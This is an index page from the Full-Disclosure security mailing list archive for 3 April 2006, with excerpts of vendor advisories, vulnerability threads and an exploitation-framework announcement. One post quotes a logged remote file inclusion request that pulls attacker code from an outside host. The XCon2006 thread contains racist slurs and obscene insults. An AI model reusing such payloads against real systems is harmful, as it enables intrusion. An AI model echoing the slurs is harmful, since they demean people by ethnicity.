[Full-disclosure] [SECURITY] [DSA 1000-2] New Apache2::Request packages fix denial of service

2006-04-03 Thread Martin Schulze
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 1000-2[EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze April 3rd, 2006

Re: [Full-disclosure] Welcome to XCon2006!

2006-04-03 Thread 0x80
Fuck the chinks at XCom. Stay behind the wall with your government sponsored attempt at gaining new knowlege. Concerned about your privacy? Instantly send FREE secure email, no account required http://www.hushmail.com/send?l=480 Get the best prices on SSL certificates from Hushmail https:/

RE: [Full-disclosure] Welcome to XCon2006!

2006-04-03 Thread William Lefkovics
Walls come down through communication and disclosure. >>Fuck the chinks at XCom. I am confused by your demands for asian intercourse from a computer security group. Is there some story behind your hostility? -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On B

[Full-disclosure] [USN-266-1] dia vulnerabilities

2006-04-03 Thread Martin Pitt
=== Ubuntu Security Notice USN-266-1 April 03, 2006 dia vulnerabilities CVE-2006-1550 === A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog)

[Full-disclosure] Secunia Research: AN HTTPD Script Source Disclosure Vulnerability

2006-04-03 Thread Secunia Research
== Secunia Research 03/04/2006 - AN HTTPD Script Source Disclosure Vulnerability - == Table of Contents Affected Software.

[Full-disclosure] Re: [SC-L] Re: [Owasp-dotnet] RE: 4 Questions: Latest IE vulnerability, Firefox vs IE security, User vs Admin risk profile, and browsers coded in 100% Managed Verifiable code

2006-04-03 Thread Pascal Meunier
AppArmor sounds like an excellent alternative to creating a VMWare image for every application you want to run but distrust, although I can think of cases where a VMWare image would be safer. For example, the installer/uninstaller may have vulnerabilities, may be "dirty" (it causes problems by mod

[Full-disclosure] Invisionzone.com board hacked...and Invision won't do a thing...

2006-04-03 Thread psmith
What is with irresponsible hosting companies? I called Invision to report a hack where someone planted an iframe, which is loading some exploits (wmf files and such). They will NOT do anything unless the account holder calls in...so lets keep letting machines get infected. That is very irrespons

Re: [Full-disclosure] Critical PHP bug - act ASAP if you are running web with sensitive data

2006-04-03 Thread Moriyoshi Koizumi
Jasper Bryant-Greene wrote: Tõnu Samuel wrote: Nice! I was really nervous already as I got bombed with e-mails and I really did not knew much more than was discovered. Meanwhile I am bit disappointed that we had nearly month such a bug in wild and software distributors like SuSE in my cas

[Full-disclosure] [USN-267-1] mailman vulnerability

2006-04-03 Thread Martin Pitt
=== Ubuntu Security Notice USN-267-1 April 03, 2006 mailman vulnerability CVE-2006-0052 === A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Wartho

[Full-disclosure] RE: Welcome to XCon2006!

2006-04-03 Thread 0x80 fk
Hi [EMAIL PROTECTED], fuucck your mother's asshole You are welcome. emm -Original Message- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of 0x80 at hush.ai Sent: Monday, April 03, 2006 2:32 AM To: full-disclosure at lis

Re: [Full-disclosure] Invisionzone.com board hacked...and Invisionwon't do a thing...

2006-04-03 Thread GroundZero Security
Some ISP's only do server "housing" and just give the customer full root rights over their Server and stop to care from that point on. I have had a few customers that have been hacked and when i reported it to their ISP's i offten got reply's like "It is the responsibility of the Customer to han

[Full-disclosure] attempts from 82.165.30.80

2006-04-03 Thread Konstantine
These started to show up on Apache logs recently. Are these attempts to exploit [1]? Does it worth contacting the owner of the website at this address? 82.165.30.80 - - [02/Apr/2006:11:30:21 +0100] "GET /forum/impex/ImpExData.php?systempath=http://geocities.com/deverificat3/t.txt?&; HTTP/1.1" 404

Re: [Full-disclosure] attempts from 82.165.30.80

2006-04-03 Thread [EMAIL PROTECTED]
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1   you should use this http://help.yahoo.com/help/us/geo/abuse/abuse-04.html or http://add.yahoo.com/fast/help/abuse/cgi_abuse explaining them the user "deverificat3" is using a geocities account to scan the recent vbulletin vulnerability [1]

Re: [Full-disclosure] Critical PHP bug - act ASAP if you are runningweb with sen

2006-04-03 Thread mailinglist mailinglist
Tõnu Samuel , There are different PHP applications are vulnerable to this exploit but this is not their fault. Agreed. But why are they html_entity_decode in the first place? Users don't supply HTML. Databases don't contain HTML. As Stefan Esser says, and your exploit demonstrates, it is re

[Full-disclosure] Format string in Doomsday 1.8.6

2006-04-03 Thread Luigi Auriemma
### Luigi Auriemma Application: Doomsday engine http://www.doomsdayhq.com http://deng.sourceforge.net Versions: <= 1.8.6 (and current SVN 1.9.0) Platforms:Windows

[Full-disclosure] [ MDKSA-2006:062 ] - Updated dia packages fix buffer overflow vulnerabilities

2006-04-03 Thread security
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDKSA-2006:062 http://www.mandriva.com/security/ ___

[Full-disclosure] [ MDKSA-2006:063 ] - Updated php packages fix information disclosure vulnerability

2006-04-03 Thread security
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDKSA-2006:063 http://www.mandriva.com/security/ ___

[Full-disclosure] (no subject)

2006-04-03 Thread hank snow
Blab-away for as little as 1¢/min. Make PC-to-Phone Calls using Yahoo! Messenger with Voice.___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Critical PHP bug - act ASAP if you are running web with sensitive data

2006-04-03 Thread Jasper Bryant-Greene
Moriyoshi Koizumi wrote: Jasper Bryant-Greene wrote: I very much doubt there are many applications at all containing code like this. It is illogical to be decoding html entities from user input. Therefore I would not call this a "very serious problem" and certainly not a critical bug. Not r

Re: [Full-disclosure] Critical PHP bug - act ASAP if you are running web with sensitive data

2006-04-03 Thread Jasper Bryant-Greene
Jasper Bryant-Greene wrote: Moriyoshi Koizumi wrote: Jasper Bryant-Greene wrote: I very much doubt there are many applications at all containing code like this. It is illogical to be decoding html entities from user input. Therefore I would not call this a "very serious problem" and certainl

[Full-disclosure] [ MDKSA-2006:064 ] - Updated MySQL packages fix logging bypass vulnerability

2006-04-03 Thread security
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDKSA-2006:064 http://www.mandriva.com/security/ ___

[Full-disclosure] PIRANA exploitation framework and SMTP content filter security

2006-04-03 Thread Jean-Sébastien Guay-Leroux
Hi, I am releasing the first public version of PIRANA. PIRANA is an exploitation framework that tests the security of a email content filter. By means of a vulnerability database, the content filter to be tested will be bombarded by various emails containing a malicious payload intended to compr

[Full-disclosure] [SECURITY] [DSA 1022-1] New storebackup packages fix several vulnerabilities

2006-04-03 Thread Moritz Muehlenhoff
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 1022-1[EMAIL PROTECTED] http://www.debian.org/security/ Moritz Muehlenhoff April 4th, 2006

[Full-disclosure] Barracuda ZOO archiver security bug leads to remote compromise

2006-04-03 Thread Jean-Sébastien Guay-Leroux
Topic: Barracuda ZOO archiver security bug leads to remote compromise Announced: 2006-04-03 Product:Barracuda Spam Firewall Vendor: http://www.barracudanetworks.com/ Impact: Remote shell access Af

[Full-disclosure] Barracuda LHA archiver security bug leads to remote compromise

2006-04-03 Thread Jean-Sébastien Guay-Leroux
Topic: Barracuda LHA archiver security bug leads to remote compromise Announced: 2006-04-03 Product:Barracuda Spam Firewall Vendor: http://www.barracudanetworks.com/ Impact: Remote shell access Af

Re: [Full-disclosure] Welcome to XCon2006!

2006-04-03 Thread xundi xfocus
hi, [EMAIL PROTECTED] , Fuck your mother asshole with no lube, oh, sorry, your mother is too old to fck... On 4/3/06, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote: Fuck the chinks at XCom.  Stay behind the wall with your governmentsponsored attempt at gaining new knowlege. Concerned about your p

Re: [Full-disclosure] Welcome to XCon2006!

2006-04-03 Thread Dave Alanis
On Monday, April 03, 2006 7:49 PM, xundi xfocus wrote: > >Date: Tue, 4 Apr 2006 08:49:48 +0800 >From: xundi xfocus >To: "[EMAIL PROTECTED]" <[EMAIL PROTECTED]> >Subject: Re: [Full-disclosure] Welcome to XCon2006! > >hi, [EMAIL PROTECTED] , Fuck your mother asshole with no lube, oh, sorry, your >m

Re: [Full-disclosure] Welcome to XCon2006!

2006-04-03 Thread xundi xfocus
sorry, dave, just only reply to  [EMAIL PROTECTED]  this guy personally! On 4/4/06, Dave Alanis <[EMAIL PROTECTED]> wrote: On Monday, April 03, 2006  7:49 PM, xundi xfocus wrote:>>Date: Tue, 4 Apr 2006 08:49:48 +0800 >From: xundi xfocus>To: "[EMAIL PROTECTED]" < [EMAIL PROTECTED]>>Subject: Re:

[Full-disclosure] Microsoft's Canberra security deal

2006-04-03 Thread Ivan .
MICROSOFT has promised to help Australia tackle threats to "national security, economic strength and public safety" under a deal to allow its engineers to examine attempts to hack into federal government computer networks. http://australianit.news.com.au/articles/0,7204,18699718%5E15306%5E%5Enbv%5

[Full-disclosure] Even TheRegister Agrees

2006-04-03 Thread 0x80
Nice headline. http://www.theregister.co.uk/2006/04/03/anonymizer_china/ Anonymizer looks for chinks in Great Firewall of China Google workaround By John LeydenPublished Monday 3rd April 2006 22:41 GMTGet breaking Anonymizer has gone live with a service that aims to circumvent Chinese censor

Re: [Full-disclosure] Even TheRegister Agrees

2006-04-03 Thread Gary E. Miller
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Yo 0x80! On Mon, 3 Apr 2006, [EMAIL PROTECTED] wrote: > Anonymizer looks for chinks in Great Firewall of China Yeah, cute... > The online identity protection > firm has released software (initially available at xifuchun.com, an > English language s